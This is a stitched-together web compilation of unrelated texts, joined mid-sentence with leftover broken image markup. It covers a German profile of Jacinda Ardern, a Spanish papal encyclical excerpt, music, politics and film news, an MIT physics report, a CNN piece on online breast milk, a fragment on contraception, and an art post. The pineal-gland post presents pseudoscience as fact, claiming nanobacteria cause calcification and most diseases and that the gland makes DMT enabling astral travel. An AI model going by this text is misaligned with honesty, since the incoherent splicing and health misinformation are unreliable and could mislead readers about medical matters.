Jacinda Ardern - ein politisches Phänomen
Sie ist Gelegenheits-DJ und nicht religiös, trinkt Whisky, lebt mit einem bekannten Fernsehmoderator zusammen und ist mit nur 37 Jahren die jüngste Vorsitzende, die je Labour in Neuseeland angeführt hat. Jacinda Ardern ist das moderne Gesicht einer Traditionspartei - und ein politisches Phänomen. In nur wenigen Wochen gelang es ihr, Labours Wählerschaft zu verdoppeln, mit Ardern an der Spitze legte ihre Partei unerhörte 23 Prozentpunkte zu und zog an den Konservativen vorbei. Nicht, weil Ardern die Regierung schlecht machte, sondern weil ihr viele Neuseeländer zutrauen, es besser zu machen.
"Wir wollen ein Neuseeland, in dem jeder ein Dach über dem Kopf und eine erfüllende Arbeit hat", sagt Jacinda Ardern. "Ein Land, in dem Bildung nichts kostet, Einwanderung streng kontrolliert und der Klimawandel ernst genommen wird. Ein Land, in dem Kinder von Kreativität und nicht von Armut umgeben sind, und das weltweit führenden Umweltschutz betreibt."
Vorab-Triumph über den "staubtrockenen Polit-Verwalter"
Alle lieben Jacinda: "Mehr Flair als der junge Tony Blair" oder "Neuseelands weiblicher Justin Trudeau", schwärmen die Medien. Ardern ist kompetent, direkt und glaubwürdig - ein frischer Wind. Neben ihr sieht der 55-jährige Premier Bill English, ein solider, aber staubtrockener Polit-Verwalter, buchstäblich alt aus. Ardern ist es gelungen, zehntausende Erst-, Jung- und frühere Nichtwähler zu mobilisieren - vor allem Frauen. In Neuseeland grassiert "Jacindamania".
"Jacinda ist eine bemerkenswerte Frau", meint eine Passantin in der Hauptstadt Wellington. "Ich habe immer die Nationalpartei gewählt, aber diesmal gebe ich ihr meine Stimme." Ein Mann meint: "Sie hat das Zeug zum Premier. Wenn sie diesmal nicht gewinnt, dann bestimmt das nächste Mal."
Die Journalistin Audrey Young ist sicher, dass die Frauenstimmen die Wahl entscheiden werden. Frauen lebten nicht in der Vergangenheit, sie dächten an die Zukunft. Und die, glaubt Young, gehöre Jacinda Ardern.
Zu jung für die Regierungsverantwortung
"Sie ist unglaublich klug und hat ihr Herz auf dem rechten Fleck. Ardern spricht Probleme offen an und schlägt vor, wie sie gelöst werden können. Sie hört auf das Volk und ignoriert es nicht. Und obwohl die Politik manchmal ganz schön verrückt sein kann, behält sie immer einen kühlen Kopf."
Die Neuseeland-Wahl am 23. September 2017 war letztes Jahr praktisch schon entschieden, jetzt ist sie ein Kopf-an-Kopf-Rennen. Die noch-regierenden Konservativen werfen Jacinda Ardern vor, dass sie mit 37 und nach nur acht Jahren im Parlament viel zu unerfahren sei, um Regierungsverantwortung zu übernehmen. Aber das hat man vor der Wahl auch über Emmanuel Macron, Justin Trudeau, Donald Trump und Barack Obama gesagt.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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ce es mayor que las hortalizas y se hace un árbol» (Mt 13,31-32).
98. Jesús vivía en armonía plena con la creación, y los demás se asombraban: «¿Quién es este, que hasta el viento y el mar le obedecen?» (Mt 8,27). No aparecía como un asceta separado del mundo o enemigo de las cosas agradables de la vida. Refiriéndose a sí mismo expresaba: «Vino el Hijo del hombre, que come y bebe, y dicen que es un comilón y borracho» (Mt 11,19). Estaba lejos de las filosofías que despreciaban el cuerpo, la materia y las cosas de este mundo. Sin embargo, esos dualismos malsanos llegaron a tener una importante influencia en algunos pensadores cristianos a lo largo de la historia y desfiguraron el Evangelio. Jesús trabajaba con sus manos, tomando contacto cotidiano con la materia creada por Dios para darle forma con su habilidad de artesano. Llama la atención que la mayor parte de su vida fue consagrada a esa tarea, en una existencia sencilla que no despertaba admiración alguna: «¿No es este el carpintero, el hijo de María?» (Mc 6,3). Así santificó el trabajo y le otorgó un peculiar valor para nuestra maduración. San Juan Pablo II enseñaba que, «soportando la fatiga del trabajo en unión con Cristo crucificado por nosotros, el hombre colabora en cierto modo con el Hijo de Dios en la redención de la humanidad»[79].
99. Para la comprensión cristiana de la realidad, el destino de toda la creación pasa por el misterio de Cristo, que está presente desde el origen de todas las cosas: «Todo fue creado por él y para él » (Col 1,16)[80]. El prólogo del Evangelio de Juan (1,1-18) muestra la actividad creadora de Cristo como Palabra divina (Logos). Pero este prólogo sorprende por su afirmación de que esta Palabra «se hizo carne» (Jn 1,14). Una Persona de la Trinidad se insertó en el cosmos creado, corriendo su suerte con él hasta la cruz. Desde el inicio del mundo, pero de modo peculiar a partir de la encarnación, el misterio de Cristo opera de manera oculta en el conjunto de la realidad natural, sin por ello afectar su autonomía.
100. El Nuevo Testamento no sólo nos habla del Jesús terreno y de su relación tan concreta y amable con todo el mundo. También lo muestra como resucitado y glorioso, presente en toda la creación con su señorío universal: «Dios quiso que en él residiera toda la Plenitud. Por él quiso reconciliar consigo todo lo que existe en la tierra y en el cielo, restableciendo la paz por la sangre de su cruz» (Col 1,19-20). Esto nos proyecta al final de los tiempos, cuando el Hijo entregue al Padre todas las cosas y «Dios sea todo en todos» (1 Co 15,28). De ese modo, las criaturas de este mundo ya no se nos presentan como una realidad meramente natural, porque el Resucitado las envuelve misteriosamente y las orienta a un destino de plenitud. Las mismas flores del campo y las aves que él contempló admirado con sus ojos humanos, ahora están llenas de su presencia luminosa.
CAPÍTULO TERCERO
RAÍZ HUMANA DE LA CRISIS ECOLÓGICA
101. No nos servirá describir los síntomas, si no reconocemos la raíz humana de la crisis ecológica. Hay un modo de entender la vida y la acción humana que se ha desviado y que contradice la realidad hasta dañarla. ¿Por qué no podemos detenernos a pensarlo? En esta reflexión propongo que nos concentremos en elIt appears that Virginia rapster Pusha T is doubling back on information shared earlier this month in regards to a possible Clipse reunion. While speaking with DJ Heat, Pusha revealed that he never leaked any information about a Clipse reunion album.
“I never leaked anything about the Clipse,” he said. “I didn’t do that. All I did was tell everybody I was in the studio for 20 days with Pharrell and Chad. And then there was a leak that happened and other people just found out that other people were down. But I wouldn’t do that. I wouldn’t do that. So, right now I’m on my Pusha T right now. I don’t wanna mislead nobody, but we just working.”
News of a reunion spread quickly when a status update was posted on Pusha T’s official Facebook fan page stating, “It’s coming…” Along with the caption was a picture of Pusha and fellow Clipse member No Malice and with it a link to a KarenCivil.com story titled “Clipse End Hiatus, Set to Release Independent Album?”
Although the My Name Is My Name rapper may not be working on a Clipse comeback, he has put in time in the studio with longtime collaborators The Neptunes. Comprised of producers Pharrell Williams and Chad Hugo, The Neptunes worked with the Clipse on their debut album Lord Willin’ and a handful of other projects.
Pusha T described his work in the studio with Pharrell and Chad as “incredible” and revealed that both producers have perfected their craft since he last worked with the duo.
“Since I’ve been back in there with them it’s been incredible. Just having the both of them in the studio is something I haven’t been through in a while,” Pusha said. “Pharrell right now is on another level. He’s on another level. With Chad it’s just like he’s coming through with the old Chad sonics and just the technical aspect of it. He’s just teaching us stuff like left and right. And it’s been good.”
Prior to commenting on his work with The Neptunes and a Clipse reunion, Pusha commented on his solo album, My Name Is My Name. According to the Virginia Beach emcee, there isn’t anything on his solo debut he would change.
“No, I’m pretty happy with it. I like it,” he said. “And I listen to it like I listen to the four fathers of rap. When I listen to a Reasonable Doubt album. When I listen to a Rakim album…Just in length and just in how it really harnesses the mood, I feel like I nailed it.”
Pusha T is currently slated to take part in the Canadian leg of his MNIMN Tour. As part of the tour, the rapper is scheduled to make stops in Vancouver, Toronto, Canada, and more beginning on January 28.
RELATED: Pusha T Begins “King Push” Album With The NeptunesLooking for news you can trust?
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Aaron Blake makes an interesting point today about the notion that Donald Trump and other presidential candidates are uniquely appealing this year because voters are so angry:
They’re simply not — or at least, not abnormally angry. Despite the rise of two candidates who have embraced the idea of anger, our country simply isn’t unusually angry about how things are going in Washington. A new Washington Post-ABC News poll shows just 24 percent of Americans describe themselves as “angry” about the way the federal government works. I say “just,” because that’s actually on the low end of where that number has been in recent years. (An additional 47 percent describe themselves as “dissatisfied but not angry.”)
It seems as though I’ve heard about the seething anger of the electorate before nearly every election in my life. Joe Klein takes a drive through the heartland every few years and reports back about this. But all sorts of polling evidence suggest that Americans aren’t really all that unhappy in general and not really all that angry about the government. No more than usual, anyway. Now, maybe this year really is different. Maybe voters are more responsive to angry appeals even if they aren’t especially angry in general. But for all the talk, Blake is right: the polling data doesn’t really show anything unusual.In 2013, MIT physicists showed for the first time that shining powerful mid-infrared laser light on solid bismuth selenide produces Floquet-Bloch states, which are characterized by replicas of electronic energy states inside a solid with gaps opening up at crossing points of replica states. The same external light also interacts with free electron states immediately outside the solid producing a competing state, called the Volkov state, which is gapless.
Now, researchers led by Nuh Gedik, the Lawrence C. (1944) and Sarah W. Biedenharn Career Development Associate Professor of Physics, have shown that changing the light’s polarization eliminates competition from Volkov states, yielding pure Floquet-Bloch states.
MIT graduate student Fahad Mahmood and postdoc Ching Kit (Chris) Chan, demonstrate experimental proof and offer a mathematical framework for understanding interference between these competing states as a function of electron momentum. The results are published online in Nature Physics.
“Fahad figured out a clever way of quantifying the interference of these two states with each other, and then from this interference, we can deduce selectively, this part is coming from the outside, this part is coming from inside,” says Gedik, who is senior author on the new work. “I think this is a big step because if you eventually want to realize a new state of matter based on periodic excitation, you really need to be able to isolate just the contribution of the electrons inside the solid.”
MIT co-authors of the study are Zhanybek Alpichshev, a postdoc in Gedik’s group; recent physics alumnus Dillon R. Gardner PhD ’15; Professor Young S. Lee; and William and Emma Rogers Professor of Physics Patrick A. Lee.
Proportional bandgap
Floquet-Bloch states, occurring on incredibly fast time scales, are observed using an experimental technique called time-and-angle-resolved photoemission spectroscopy (Tr-ARPES). This consists of using a mid-IR laser pulse, with energy below the bulk band gap of the material, to stimulate electrons in the solid. A second laser pulse, at a lesser intensity, overlaps the first and leads to emission of electrons, which are collected in a time-of-flight analyzer that records their angle of emission and energy. “We study the photoemitted electron intensity as a function of the electron energy and momentum,” Gedik says. “If you’re using this technique, it’s super important to be able to selectively, only, probe the photo-excited state inside the solid, and this paper gives you a way,” Gedik explains.
The researchers also show that the value of the artificially induced bandgap is proportional to the square root of the intensity of the light. “That really means it is proportional to the electric field, rather than the intensity, so this is what is actually expected from all this theory work that this gap would actually scale with the electric field of the light,” Gedik says.
The new work yields higher resolution for experimental demonstrations of replica electronic levels, which are also called sidebands, and also offers a theoretical explanation for distinguishing Floquet states from Volkov states. “It was very helpful to have Patrick Lee and his postdoc [Chan] help with the theory. I think it would have been very challenging without their help,” Mahmood says. “That close collaboration helped us a lot because now we can make predictions of exactly how the interference would behave as a function of this electron momentum and you can see that theory and experiment match really well for different directions of electron momentum.”
Hybrid states
Interest in graphene and topological insulators such as bismuth selenide triggered a quest for ways to artificially stimulate a bandgap in them so they could be used for electronic devices. Gedik’s recent work focuses on using periodic light bursts to accomplish this. Although the electrons don’t absorb the light, they react to the electric field by forming a hybrid, or dressed, state between electrons and photons. This effect only occurs when both electrons and photons are present together, and it changes the electronic energy levels inside the material. Changing electronic properties through chemical processes, such as inserting another element into the solid, are usually permanent, but changing the properties of electrons with light excitation is reversible and controllable. “You can just change the intensity of the light, the frequency of the light, or polarization of the light,” Gedik says.
The electronic states are graphically represented by a Dirac cone, which plots energy versus momentum for electrons. Like ripples from a stone dropped in water or echoes of sound, stimulation by laser pulses results in these repeated cones, which are the hybrid photon-electron states. Gaps appear in the energy spectrum where these bands cross.
Lee, who contributed to the theoretical work in the new paper, says, “This work represents an important experimental progress in creating novel laser-driven electronic states, called Floquet states, on the surface of materials. We found that the traditional interpretation of the data was not adequate because of extrinsic effects not considered previously. Once this was understood, we found a tunable way to manipulate these Floquet states. The result may aid in the design of light-controllable electronic devices.”
Experimental challenges
To generate the light-driven state, Mahmood used mid-IR light pulses that diverge and lose power rapidly as they propagate. Guiding these pulses onto a small sample in a vacuum chamber while maximizing their power required special optical setups developed in the Gedik Lab. The time-of-flight analyzer is also relatively new requiring careful alignment. “We had to make sure that our beam was focused in such a way to get the best resolution out of our instrument,” Mahmood says.
The results show that the interference between Floquet-Bloch and Volkov states depends strongly on the polarization of the light. This polarization determines the orientation of the electric field with respect to the sample plane. Since the Volkov state is primarily activated by an out-of-plane electric field, switching the light polarization to one with only an in-plane electric field eliminates the Volkov state.
“This is a very challenging experiment, as it requires performing detailed photoelectron spectroscopy measurements on a transient photo-driven state that lasts merely fractions of a picosecond,” says David Hsieh, assistant professor of physics at Caltech. “The Gedik group has succeeded not only in directly visualizing the spectrum of this transient state, but also in quantifying and controlling the electromagnetic coupling between different energy bands of the transient state. This provides an interesting opportunity to use optical excitation as a means to engineer a desired materials response.”
Future possibilities
It may be a bit of science fiction at this point, but one possibility, according to Gedik, is using this technology to spatially pattern the light excitation which could lead to devices with customized geometries. To get there, he says, “We need to do this basic work, which is to understand what these states are and how they interact with other states.” Mahmood continues to study how long it takes for these Floquet states to form and to disappear. “All of this needs to be understood before we can move onto there,” Gedik says.
Work also remains to be done to understand how the electrons relax down from the Floquet states. It is especially important to understand how they interact with other states inside the solid such as vibrations of the lattice called phonons or collective excitations of the electrons called plasmons.(CNN) Your great-great-grandmother might have called for a wet nurse. In today's e-commerce world, if you're having trouble breast-feeding, you can easily buy breast milk online and feed your baby yourself.
Ideal, right?
"No, it's quite clear that the risks to your infant's health and safety are significant and appear to outweigh any benefits they might get from breast milk," said Sarah Keim, Ph.D., of the Center for Biobehavioral Health at Nationwide Children's Hospital in Columbus, Ohio.
While breast milk is not regulated by the FDA, a 2010 warning clearly states the government's stance: "FDA recommends against feeding your baby breast milk acquired directly from individuals or through the Internet."
"There are multiple dangers," explains Keim. "One is the risk of infectious disease." She said HIV, hepatitis and syphilis can be transmitted through breast milk.
In fact, a 2009 Stanford University study that screened 1,091 women who wanted to donate their breast milk to a milk bank found 36 tested positive for syphilis, hepatitis B and C and HIV.
"There's also the possibility of the exposure to drugs, prescription drugs or illicit drugs, and those can be very harmful to infants, too," adds Keim.
There's more. In a 2013 study, Keim and her colleagues found 74% of the breast milk they purchased contained staph, strep or other bacterial species.
A follow-up analysis recently published in the journal Pediatrics found one of every 10 of those samples wasn't 100% pure mother's milk. Instead, the donor milk contained added cow's milk or milk-based formula powder.
"If a baby with cow's milk allergy were to drink this milk," said Keim, "it could be very harmful."
If that isn't bad enough, the researchers found the levels of bovine contamination, at 10%, to be too high to be accidental. Simply put, said Keim, the sellers deliberately "topped off" their breast milk, presumably so they could sell more.
Breast milk is 'liquid gold'
The demand for breast milk has exploded in recent years.
Breast milk is often called "liquid gold."
The woman who survived breast cancer, the mom who suddenly loses her milk because of sickness or stress or the couple who adopts a tiny newborn all want to give their babies the best start in life and with good reason.
"Breast milk, because of its immunological properties, can help fight against infections that a baby may be exposed to," said WebMD pediatrician Hansa Bhargava. "It also may protect against allergies, asthma and sudden infant death syndrome."
Moms are being told that selling their excess breast milk could be a lucrative addition to a family's income. On his site, the Penny Hoarder, Kyle Taylor recommends starting a home-based business selling breast milk as one of his "creative ways to fix your budget." The article said that if a mom "sold 25 ounces of breast milk per day at $2.50 an ounce for a year, you'd make almost $23,000. Like this idea? Click to tweet it!"
While both Ebay and Craigslist ban the sale of "bodily fluids" in their terms of use, that hasn't stopped the occasional effort to tap into the market. But most of the transactions occur on individual sites, such as Only the Breast, the website Keim and her colleagues used to buy all of their tainted and "topped off" breast milk.
Only the Breast co-founder Glenn Snow told CNN he felt the study "did not follow any of our safety guidelines. They didn't interview the donor, they didn't communicate with the donors verbally and we think that potentially skewed the results of the study."
The site put up this statement
"In light of cow's milk contamination of some breast milk samples purchased via the internet, Only the Breast reiterates our long-term guidance that all sellers should follow best practices using aseptic technique for expressing, handling, and storing human milk which also addresses shipping, freezing, and all buyers must follow safety guidelines for peer to peer donor screening. Additionally it is expressly forbidden in our terms of use to add any form of contaminants such as bovine i.e., cow's milk."
When asked how they policed their policies, Snow said: "We do not interfere with nor become involved with transactions. We only recommend safety guidelines and practices to be followed."
Milk sharing communities
The demand for breast milk has also launched a number of milk-sharing volunteer communities, both on the web and on Facebook. Eats on Feets and Human Milk 4 Human Babies are the largest; both sites are strongly against the sale of breast milk.
"It is our firm belief that the selling and buying of breast milk carries undue medical and ethical risks," state Eats on Feets administrators Shell Walker and Maria Armstrong in a letter posted on their site
A spokesperson for Human Milk 4 Human Babies told CNN: "If someone attempts to buy or sell milk on our network pages, they are reminded that our pages are noncommercial, the post is removed, and user banned if the action continues."
Instead, both sites encourage the free sharing of breast milk among mothers after careful screening. Safety guidance is similar to that on Only the Breast. Eats on Feets, for example, points users to "The Four Pillars of Safe Breast Milk Sharing," full of advice on milk handling, home pasteurization, donor screening and blood testing.
But are women following that advice?
A recent post on the Eats on Feets Facebook page asked mothers to explain why they thought breast milk sharing was safe. Among the first 50 replies, only six said they asked donors to be tested. "If a mom is taking the time and effort to pump then most likely the milk doesn't have issues," reads one typical comment.
"How do you trust someone you just met, whether you've had a lot of friendly Facebook conversations or you've talked on the phone?" said Keim. "This is your baby you're talking about, this is something your baby is going to drink, and it's clear the risks are outweighing the benefits."
"But I'm not surprised," adds Keim. "The intentions are good, but it is putting a lot of the onus on the women involved and they don't have the tools to effectively reduce the risk. The average mom does not have a laboratory in their kitchen to test the milk to know if anything has been added or what the bacterial levels are."
Formula vs. breast milk
Many moms turn to breast milk when their babies have medical conditions, fail to thrive or can't tolerate formula, believing they have no medical alternatives.
"There are virtually no medical conditions in which the baby can only drink breast milk," said WebMD's Bhargava. "There are many types of formula available including those for infants with milk protein allergies and those with metabolic conditions. Formula provides an alternative to breast milk for those who cannot breast-feed."
"There is a lot of unwarranted guilt surrounding not breast-feeding babies," adds Atlanta pediatrician Jennifer Shu. "Even though breast milk is best, in some situations, formula is the better and safer choice."
Milk banks
The safest choice for donor breast milk is a milk bank. Nonprofit versions have been around for decades, collecting breast milk after a thorough screening and blood testing of the donors, and then pasteurizing it to meet standards reviewed by the CDC and the FDA.
Most banked breast milk goes to hospitalized infants.
Unfortunately, the costs for all that safety can be quite high, currently averaging $4 an ounce. Considering a baby can drink up to 30 ounces of breast milk each day, that's not likely to be in a family's budget.
Nor is the milk readily available. The vast majority of any milk bank's supply goes to the most fragile infants, such as the 500,000 preterm babies born each year that fight for their lives in neonatal intensive care units across America.
According to the Human Milk Banking Association of North America, only about 27% is provided to outpatient infants with medical issues.
"What will happen is that if the donor human milk doesn't have the necessary level of protein, calories and fat, then many times that can be sold outside the NICU because then it is able to be still helpful to kids with gut issues and the like," said John Honaman, HMBANA's executive director.
So where does this leave the mom who's milk has dried up?
"I do think we have a'milk gap' in this country," said Keim. "I hear moms say often 'I'm in a corner, I can't produce enough milk for my baby, but I can't get safe milk for my baby'."
"Talk to your pediatrician for advice on your specific situation," advised Shu. "Make sure you are aware what you are giving your baby -- beware of contaminants, infections, spoiled milk, tampered with milk, ingredients unsafe for infants (such as cow's milk) and determine if that is worth the potential risk."“Thor: Ragnarok” is losing one leading lady and gaining another. Natalie Portman, who played scientist Jane Foster in the first two “Thor” films, will not be involved with the third.
The Hollywood Reporter revealed that Portman would not be returning, but Thor (Chris Hemsworth) won’t be alone for long. Tessa Thompson has been cast in a “key role.” It isn’t clear how big of a part she’ll play, but Deadline reveals that she will be the Asgardian god’s love interest.
Portman’s departure isn’t entirely surprising. There were many rumors about the actress being less than thrilled with working on the second movie after Patty Jenkins dropped out due to creative differences.
While losing a character isn’t ideal, many “Thor” fans on Twitter weren’t too upset about the loss. In fact, some were even excited about the casting shakeup.
I guess Natalie Portman is out, good she was useless and you knew she didn't wanna be there https://t.co/kFk1GMSiCI — ColdFlame19 (@DannyGorrin) April 11, 2016
Can't say I'm disappointed that Natalie Portman isn't returning for Thor 3 — Jarvis (@JarvisUnchained) April 11, 2016
I'm a huge Natalie Portman fan and I'm glad she's not returning for Thor: Ragnarok — Christelle Tabet (@1_BrokeGirl) April 11, 2016
Tbh I aint even mad Natalie Portman won't be returning in Thor Ragnarok. — Daniel (@TheParkerLuck_) April 11, 2016
Natalie Portman isn't returning for Thor: Ragnarok and I couldn't be happier. Today is such a good day. — Sarah Best (@sarah_best16) April 11, 2016
Of course, there were also a few who mourned the loss.
Natalie Portman isn't going to be in Thor 3? I can't say I'm surprised, she was given nothing to work with but its still a shame. — Luke Allott (@LukeAllott) April 11, 2016
It's too bad Natalie Portman is out for THOR 3. I know she had issues with Marvel but I always enjoyed her as Jane Foster. — Brendan Foley (@TheTrueBrendanF) April 11, 2016
wait I am kinda sad that Jane isn't going to be in Thor 3??? — dogunderwater (@dogunderwater) April 11, 2016
Portman isn’t the only actor who won’t return for “Thor 3.” It seems Thor won’t be seeing another one of his scientist friends. Stellan Skarsgård revealed that he wouldn’t return as Dr. Erik Selvig either. “‘Thor 3’ is not on my slate,” the actor told Den of Geek in February. “But maybe the next ‘Avengers.’” Without Jane or Erik, it seems unlikely that their friend Darcy (Kat Dennings) will appear either. There hasn’t been any official word on her status, though.
Luckily, the Avenger will still have friends around him. Mark Ruffalo is confirmed to play the Hulk in the film, and Jaimie Alexander will return as Lady Sif. Cate Blanchett is also in talks for a secret role, but it isn’t clear if she’ll be an ally to Thor or his evil brother Loki (Tom Hiddleston).
“Thor: Ragnarok” is scheduled to hit theaters Nov. 3, 2017.Understanding The Role of The Pineal Gland
January 22, 2013 by proactiveawareness
HJ: Much has been written about the somewhat mysterious pineal gland and its role in consciousness. As the primary regulator of our sleep-wake cycles and circadian rhythms, as well as its direct link in the regulation of our perception of time, it is certainly a most fascinating little gland. It is easy to take a reductionist approach and assume that this single gland is responsible for consciousness as we know it. And while it is indeed an important aspect of our conscious experience, to view it as the source of consciousness would be short sighted. The pineal gland is one of the primary interfaces through which consciousness is expressed in bodily form. It could be thought of as a transducer, which essentially translates our higher spiritual nature into physicality, thoughts and other forms of 3rd dimensional expression. Therefore, if it is atrophied or even calcified, this can affect our ability to access our higher spiritual nature and abilities.
It is easy for those interested in higher development to read about the pineal and then think that all their problems can be traced back to its atrophy/calcification, when this is not the case. A fundamental ignorance of higher spiritual concepts and universal laws is more of a detriment to spiritual advancement than an under utilized pineal gland. However, a fully functioning, healthy pineal gland will facilitate this learning process greatly. Furthermore, the ways in which one may decalcify the pineal and reverse its atrophy are all great, healthy habits that most can benefit greatly from adopting. And so it is that there is a synergy between all three of these things.
What is the Pineal Gland?
The Pineal Gland is regarded as one of the most important parts of your nervous system. It is shrouded in mystery, but as more and more people investigate it they are realising it is essentially a spiritual antenna, the mystical third eye that ancient traditions have been talking about. For many eons,the third eye has been seen as a way to reach higher levels of consciousness while still being present in a physical body.
This concept of the pineal gland being the “seat of the soul” or the “spiritual gateway to all realms and all dimensions” is important to realising its full function. Before you can reach this spiritual gateway, you must start the practise of both detoxifying your pineal gland and activating your pineal gland, through methods such as changes in diet (see How to decalcify your pineal gland) and spiritual practices such as meditation and visualisation.
The medical profession describes the pineal gland as being:
“a small endocrine gland in the vertebrate brain that produces the serotonin derivative melatonin, a hormone that affects the modulation of wake/sleep patterns and seasonal functions. Its shape resembles a tiny pine cone (hence its name), and it is located near the centre of the brain, between the two hemispheres, tucked in a groove where the two rounded thalamic bodies join.”
Wikipedia (http://en.wikipedia.org/wiki/Pineal_gland) contains a wealth of information on the Pineal Gland, as a summary the key bits are presented below:
Pineal Gland Location:
“The pineal gland is a midline structure shaped like a pine cone, and is often seen in plain skull X-rays, as it is often calcified; calcification has been shown in one small study to correlate with the accumulation of fluoride.”
The pine cone shape of the pineal gland is a very interesting topic. Symbolically, many organisations both religious and spiritual, have used the pine cone as an icon. Watch David Wilcock’s video called 2012 Enigma for more information.
Pineal Gland Composition:
“Pineal glands contain a number of things including Pinealocytes in many non-mammalian vertebrates have a strong resemblance to the photoreceptor cells of the eye. Some evolutionary biologists believe that the vertebrate pineal cells share a common evolutionary ancestor with retinal cells. In some vertebrates, exposure to light can set off a chain reaction of enzymatic events within the pineal gland that regulate circadian rhythms. Some early vertebrate fossil skulls have a pineal foramen (opening). This correlates with the physiology of the modern “living fossils,” the lamprey and the tuatara, and some other vertebrates that have a parietal organ or “third eye,” which, in some of them, is photosensitive. The third eye represents evolution’s earlier approach to photoreception. The structures of the third eye in the tuatara are analogous to the cornea, lens and retina, though the latter resembles that of an octopus rather than a vertebrate retina. The asymmetrical whole consists of the “eye” to the left and the pineal sac to the right. ”
This notion of the third eye is scientific fact. The purpose of this third eye is the key here, which opens the door to the metaphysical interpretations that ancient wisdom talks about.
Pineal Gland’s Production of Melatonin:
“Melatonin is N-acetyl-5-methoxy-tryptamine, a derivative of the amino acid tryptophan, which also has other functions in the central nervous system. The production of melatonin by the pineal gland is stimulated by darkness and inhibited by light. Photosensitive cells in the retina detect light and directly signal the SCN, entraining its rhythm to the 24-hour cycle in nature.”
Many experts in the meta-physical talk about completing spiritual practices in the dark to help stimulate your pineal gland. See the section “How to activate your pineal gland” for more information.
Pineal Gland Growth:
“The human pineal gland grows in size until about 1–2 years of age, remaining stable thereafter, although its weight increases gradually from puberty onwards. The abundant melatonin levels in children are believed to inhibit sexual development, and pineal tumours have been linked with precocious puberty. When puberty arrives, melatonin production is reduced. Calcification of the pineal gland is typical in adults, and has been observed in children as young as 2. Calcification rates vary widely by country and tend to increase by age, with calcification occurring in an estimated 40% of Americans by their 17th year.”
What is interesting here is why the pineal gland grows up until the age of 1-2 years. Is it caused by our environment and our lifestyle habits? Are our children’s pineal glands being suppressed on purpose? Children are seen as the most spiritual beings as they don’t have any of the fears or concerns of adults when they are born. They are born free and full of unconditional love. It is society that places these fears and conditioning on our children. It would be interesting to know what would happen if a child’s pineal gland wasn’t effected by its environment and was allowed to develop, grow and be activated.
The 3rd Eye & DMT
Cleaning up the pineal gland and activating your third eye is essential for those wishing to develop their psychic ability and multidimensional perception. By awakening your pineal gland, it brings the ability to consciously astral travel, explore other dimensions and foresee the future.
Many believe the abilities that the pineal gland offers come from its ability to naturally produce its own DMT (a psychedelic substance) when fully operational. This allows the individual to be in a constant visionary state most of the time, tapping into these extra special senses.
DMT is described as a naturally occurring psychedelic compound that is widespread throughout the plant kingdom. It occurs in trace amounts in mammals, including humans, where it functions as a trace amine neurotransmitter. For more information, please visit DMT: The Spirit Molecule
DMT is present in the South American shamanic brew called Ayahuasca. These shamans have used this brew for many generations as a way to tap into the spirit world. It is a plant medicine that grows in the Amazon jungle, which brings profound physical and heart healing through its purgative effects and gives the individual ability to perceive other dimensions. With enough practise and development, your pineal gland will produce this special substance. For those that take this herbal medicine, they go into a period of profound experience where issues and troubles come into awareness, allowing them to be healed with the insights that come from DMT consciousness.
DMT is a totally natural substance that the human body will manufacture and distribute when it is in a healed state. It is a belief between many that human beings were intended to be visionary beings, able to tap into the information in other dimensions allowing it to guide them through this cosmic journey we all call life. It allows us to transcend the ego and realise that we are one consciousness, giving us the opportunity to rapidly heal our sufferings, conflicts and cleanse our karma.
For more information about DMT, please check out the “DMT: The Spirit Molecule” documentary. The documentary takes a look at the work of Dr.Rick Strassman and goes into detail about how the pineal gland produces its own DMT.
You can also check out the work of Alex Grey who is a modern day explorer into the world of DMT and pineal gland development. http://alexgrey.com/bio/
What is Calcification and what causes it?
Calcification is the build up of calcium phosphate crystals in various parts of the body. It is a natural process caused primarily by nanobacteria. Nanobacteria are tiny microorganisms that form calcium phosphate shells around themselves, essentially to protect themselves from your immune system. It is these shells that accumulate in our pineal glands and ultimately calcify it. Furthermore, it is becoming apparent that many researchers are finding that this may be the cause of most diseases, from arthritis to stroke, from cancer to back pain.
Unfortunately most people’s pineal glands are heavily calcified. It ends up becoming so calcified that under scans it is seen as a lump of calcium, essentially blinding our third eye.
Due to the horrific western diets and food systems, most people are being exposed to far more of these organisms than ever before, and not only that, are being calcified through other means as well, which we covered: How to decalcify your pineal gland.
About the Author
Spiritual Scientist is the creator of DecalcifyPinealGland.com, a site born out of his own curiosity to decalcifying and awakening his third eye, ie. the pineal gland. With the help of like-minded people, the site aims to be a one-stop resource containing all of the information we need to know to begin opening our third eye, connecting us to the great energy that connects us all. He believes that there has never been a more important time to begin this journey of awakening – regardless of the fear that certain groups place on all of us, it is truly an exciting time to be alive. So if |
impressive body of research which shows that efforts to encourage contraceptive use either through mandates, subsidies, or distribution are ineffective at best or counterproductive at worst. In many countries, increases in contraception use are correlated with increase in the abortion rate. Additionally, this study is very similar to a recent University of Michigan study which showed that increases in the price of oral contraceptives on college campuses resulted in less sexual activity among college-age women. Unfortunately, such research typically receives scant attention from the mainstream media./wp-content/uploads/2010/12/human-flowers9.jpg"> /wp-content/uploads/2010/12/human-flowers9.jpg" alt="human flowers9 Paintings Of Flowers Made From Human Bodies" width="580" height="443" />
At first glance I was tricked to believe that this was real flowers, but then I eyed the “little people” that actually is the entire plant. This piece of art is a result of artist Cecelia Webber’s creativity; he thought that the human body is beautiful in so many ways that he had to express it somehow, and he definitely succeeded.
The humans making one flower are painted because obviously it would be impossible for several persons to pose like that. Another thing that you may notice is that they are naked, but colored in sensual colors that make every flower perfect.
And the best thing about it is that it doesn’t look like paintings. It is something about it that gives the images a realistic touch, like for instance the fact that we humans are a part of the nature. No wonder Webber began his professional career after this piece.
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/wp-content/uploads/2010/12/human-flowers6.jpg"> /wp-content/uploads/2010/12/human-flowers4.jpg"> /wp-content/uploads/2010/12/human-flowers1.jpg"> /wp-content/uploads/2010/12/human-flowers1.jpg" alt="human flowers1 Paintings Of Flowers Made From Human Bodies" width="580" height="444" />
